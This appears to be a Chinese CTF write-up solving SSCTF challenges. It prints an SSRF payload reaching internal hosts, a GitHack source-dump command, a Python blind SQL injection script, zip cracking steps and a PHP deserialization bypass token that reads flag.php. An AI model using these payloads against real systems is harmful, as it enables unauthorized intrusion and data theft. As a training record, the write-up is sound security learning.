可是有遺憾有驚喜吧!仍是簡單記錄一些東西。
這道題直接給出了一串字符串,直接base64解碼
這裏看到了<span style="color:red;">{}</span>就有一種熟悉的感受!
一開始也沒有頭緒,不過常見的加密方式就那幾種,而且是個簽到題,感受沒這麼麻煩
首先想到的是凱撒移位,由於flag是ssctf{},講道理應該有ssctf的
最後柵欄解密
這道題雖然只有100分,可是卻引發了尷尬。。。。
官方提示ssrf,可是內網地址。。。。最後官方受不了直接給了ssrf過程。。。!
主頁是個圖片,右鍵源碼
<img src=" ./news.php?url=127.0.0.1/img.jpg ">
127.0.0.1,已經很明顯了,再根據官方提示,poyloadphp
http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=ftp://172.17.0.2:21/flag.txt
可是這樣提交以後,沒反應,試了試大寫繞過Ftp,讀到flagpython
直接下載, 我存到了雲盤密碼:pdxn,是一個mp3格式文件,可是打不開,用HxD打開,一看是壓縮包
直接解壓,的到三個文件
掃描提示的二維碼,<span style="color:red;">神龍擺尾(ps:不是讓你看內容!!!)</span>
有個zip文件是加密的,應該mp3文件含着密碼,因爲前幾天作過一個看波形的題。。。可是沒發現什麼
又想到提示內容,就用HxD打開mp3文件,直接看結尾,能夠的字符串,直接解密,開了。
<span style="color:red;">這個地方,在看大佬wp的時候學到了一個新姿式,linux命令strings,能夠直接導出文件字符串,具體使用能夠百度</span>linux
解壓以後獲得一張圖片,老套路,16進制打開,試着搜索FF D9,能夠從下圖容易看出
後面是個png,扣數據,保存,注意文件頭是壞的,須要修復
打開以後仍是一個二維碼,掃描是下載一個文本,打開以後。。。。。又是PK。。。。。。。。我。。。。無言以對
這是個僞加密,改圖片處0->1,解壓獲得base64,解碼,還須要url解碼獲得flag
這個300分真的很差拿。。。。。
打開連接,是個網址,並且下載的是個文件,。。。很使人懷疑啊,爲何還要打開一個網址??
這是我沒提交成flag的那道題,一開始並無思路,次日,學長提示git源碼泄露,纔有了思路
打開數據包,發現就是一些git,./nijiakadaye,的字樣,又搜了搜相關資料
果斷linux,安裝GitHack,並下載源碼
git clone https://github.com/BugScanTeam/GitHack cd GitHack python GitHack.py http://60.191.205.87/.nijiakadaye/
在網址目錄打開終端,輸入git log -u查看提交歷史
git
直接提交{}內容,不對。。。。。繼續往下看,發現了pass.php,直接逆向解密
github
<?php function wtf($data,$pwd) { $cipher =""; $key[] =""; $box[] =""; $pwd_length = strlen($pwd); $data_length = strlen($data); for ($i = 0; $i < 256; $i++) { $key[$i] = ord($pwd[$i % $pwd_length]); $box[$i] = $i; } for ($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $key[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for ($a = $j = $i = 0; $i < $data_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $k = $box[(($box[$a] + $box[$j]) % 256)]; $cipher .= chr(ord($data[$i]) ^ $k); } return $cipher; } $a='xsL3HOvFlV+H40s0mhszc5t1x38EU0ZIFJHZ/h2sC3U='; $decrypt=wtf(base64_decode($a),'ssctf'); echo $decrypt; ?>
這道題長的姿式也很多的,首先就是題目也要注意,可能會是提示,好比這道,咱們的祕密-OurSecret是這個工具
這個工具解密是須要密碼的,題目提示祕密是綠色,觀察圖片,綠色部分的數字:0405111218192526
解壓以後是個壓縮包,提示密碼是生日,8位數字爆破
接下來又是新姿式,明文攻擊(條件具體能夠百度),下面第一張圖片也能夠算是明文攻擊特徵吧,將readme相同方式壓縮,做爲明文文件
解壓以後又是僞加密。。。。彷佛,充滿了二維碼,爆破密碼,僞加密。。。。。獲得下面的東西,和簽到同樣的手法
qddpqwnpcplen%prqwn_{_zz*d@gq}
首先是盲注,獲得admin密碼,貼上chamd5團隊腳本
import requests s = requests.session() ll = "1234567890qwertyuiopasdfghjklzxcvbnm" username = "" for j in range(1,32): print j for i in ll: url = 'http://60.191.205.80/picture.php?id=1"%26%26substr((select(passwoorrd)from(user)where(id=1)),'+str(j)+',1)="'+i # print url # username = "" r = s.get(url) # print r.text if "Picture not found" not in r.text: username = username + i print username break
而後就是反序列化了,這個題目wp是校內決賽以後加上的。。由於出了一道同樣的反序列化問題
先看代碼部分index.txt和include.txt,這後邊是校內決賽代碼,ssctf彷佛已經關閉了
<?php echo "<!--index.txt-->"; if(!$_GET['id']) { header('Location: index.php?id=1'); exit(); } $id=$_GET['id']; if($id==0) { if(isset($_COOKIE['token'])) { $key=$_GET['key']; $token =$_COOKIE['token']; if(isset($key)&&(file_get_contents($key,'r')==="I want flag!!!")) { echo "hello Hacker!<br>"; include("include.php"); echo cumtctf_unserialize($token); } else { echo "You are not Hacker ! "; } } } ?>
<?php echo "<!--include.txt-->"; class Read{//flag.php public $file; public function __toString(){ if(isset($this->file)){ if("flag.php"===$this->file||stripos($this->file,"://")>-1) { exit(); } else { echo file_get_contents($this->file); } } return "you are big Hacker"; } } function cumtctf_unserialize($value) { preg_match('/[oc]:\d+:/i', $value,$matches); if(count($matches)){ return false; } return unserialize($value); } ?>
首先index.txt中get-id,傳參id=0
而後首先看file_get_contents函數,這裏要求傳入的key=I want flag!!!
這裏咱們可以利用php的<span style="color: red;">封裝協議php://input</span>,他可以獲得POST原始數據,用火狐很方便session
最後就是對token的操做,由include.txt代碼部分能夠知道,能夠反序列化讀取flag.php
可是代碼中 if("flag.php"===$this->file||stripos($this->file,"://")>-1)過濾了flag.php
這裏能夠用./flag.php繞過
preg_match('/[oc]:d+:/i', $value,$matches);利用符號+就不會正則匹配到數字
<span style="color: red;">token=O:+4:"Read":1:{s:4:"file";s:10:"./flag.php";}</span>
最終token=O%3a%2b4%3a%22Read%22%3a1%3a%7bs%3a4%3a%22file%22%3bs%3a10%3a%22.%2fflag.php%22%3b%7d函數